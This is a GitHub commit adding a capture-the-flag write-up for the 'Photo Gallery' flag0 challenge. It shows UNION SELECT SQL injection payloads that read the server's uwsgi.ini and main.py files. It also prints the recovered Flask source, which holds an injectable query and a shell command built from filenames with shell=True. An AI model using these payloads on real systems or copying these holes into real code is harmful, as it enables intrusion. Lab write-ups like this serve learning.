Skip to content

Commit 0fbca39

Browse files
committed
photo gallery flag0
1 parent 1e00d3c commit 0fbca39

File tree

7 files changed

+119
-2
lines changed

7 files changed

+119
-2
lines changed

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
| Trivial (1 / flag) | [A little something to get you started][2] | Web | 1 / 1 |
1212
| Easy (2 / flag) | [Micro-CMS v1][3] | Web | 4 / 4 |
1313
| Moderate (3 / flag) | [Micro-CMS v2][5] | Web | 3 / 3 |
14-
| Moderate (6 / flag) | [Photo Gallery][10] | Web | 1 / 3 |
14+
| Moderate (6 / flag) | [Photo Gallery][10] | Web | 2 / 3 |
1515
| Moderate (5 / flag) | [Cody's First Blog][8] | Web | 3 / 3 |
1616
| Easy (4 / flag) | [Postbook][6] | Web | 7 / 7 |
1717
| Moderate (5 / flag) | [Ticketastic: Live Instance][9] | Web | 2 / 2 |

photo_gallery/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# Photo Gallery
22

3-
## [Flag0](./flag0) -- Not Found
3+
## [Flag0](./flag0) -- Found
44

55
- Consider how you might build this system yourself. What would the query for fetch look like?
66
- Take a few minutes to consider the state of the union

photo_gallery/flag0/README.md

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# Photo Gallery - FLAG0
2+
3+
## 0x00 Check Image Source
4+
5+
Based on [FLAG1][1], when fetch a image id, it will return a image from the **files** directory.
6+
7+
http://127.0.0.1/xxxxxxxxxx/fetch?id=1
8+
9+
| id | title | parent | filename |
10+
| -- | ---------------- | ------ | ------------------ |
11+
| 1 | Utterly adorable | 1 | files/adorable.jpg |
12+
| 2 | Purrfect | 1 | files/purrfect.jpg |
13+
| 3 | Invisible | 1 | FLAG1 |
14+
15+
## 0x01 Arbitrary File Read
16+
17+
Normally id is integer, so decimal may make an error here.
18+
19+
```sql
20+
fetch?id=1.1
21+
```
22+
23+
![](./imgs/notfound.jpg)
24+
25+
So when do UNION SELECT with the image name, it loads the image 1 again.
26+
27+
```sql
28+
id=1.1 UNION SELECT 'files/adorable.jpg' --
29+
```
30+
31+
![](./imgs/adorable.jpg)
32+
33+
## 0x02 [uwsgi-nginx-flask-docker][3]
34+
35+
The [hint][4] shows the application run on [uwsgi-nginx-flask-docker][3]. So the configuration file is **uwsgi.ini**
36+
37+
```sql
38+
id=1.1 UNION SELECT 'uwsgi.ini' --
39+
```
40+
41+
The file shows
42+
43+
```
44+
[uwsgi] module = main callable = app
45+
```
46+
47+
And the main file
48+
49+
```sql
50+
id=1.1 UNION SELECT 'main.py' --
51+
```
52+
53+
Can check the [main.py][2]
54+
55+
![](./imgs/flag.jpg)
56+
57+
58+
[1]: ../flag1
59+
[2]: ./main.py
60+
[3]: https://github.com/tiangolo/uwsgi-nginx-flask-docker
61+
[4]: ../

photo_gallery/flag0/imgs/adorable.jpg

102 KB
Loading

photo_gallery/flag0/imgs/flag.jpg

100 KB
Loading
11.5 KB
Loading

photo_gallery/flag0/main.py

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
from flask import Flask, abort, redirect, request, Response
2+
import base64, json, MySQLdb, os, re, subprocess
3+
4+
app = Flask(__name__)
5+
6+
home = '''
7+
<title>Magical Image Gallery</title>
8+
<h1>Magical Image Gallery</h1>
9+
$ALBUMS$
10+
'''
11+
12+
viewAlbum = '''
13+
<title>$TITLE$ -- Magical Image Gallery</title>
14+
<h1>$TITLE$</h1>
15+
$GALLERY$
16+
'''
17+
18+
def getDb():
19+
return MySQLdb.connect(host="localhost", user="root", password="", db="level5")
20+
21+
def sanitize(data):
22+
return data.replace('&amp;', '&amp;').replace('&lt;', '&lt;').replace('&gt;', '&gt;').replace('"', '"')
23+
24+
@app.route('/')
25+
def index():
26+
cur = getDb().cursor()
27+
cur.execute('SELECT id, title FROM albums')
28+
albums = list(cur.fetchall())
29+
30+
rep = ''
31+
for id, title in albums:
32+
rep += '<h2>%s</h2>\n' % sanitize(title)
33+
rep += '<div>'
34+
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
35+
fns = []
36+
for pid, ptitle, pfn in cur.fetchall():
37+
rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
38+
fns.append(pfn)
39+
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
40+
rep += '</div>\n'
41+
42+
return home.replace('$ALBUMS$', rep)
43+
44+
@app.route('/fetch')
45+
def fetch():
46+
cur = getDb().cursor()
47+
if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
48+
abort(404)
49+
50+
# It's dangerous to go alone, take this:
51+
# ^FLAG^FLAG0$FLAG$
52+
53+
return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()
54+
55+
if __name__ == "__main__":
56+
app.run(host='0.0.0.0', port=80)

0 commit comments

Comments
 (0)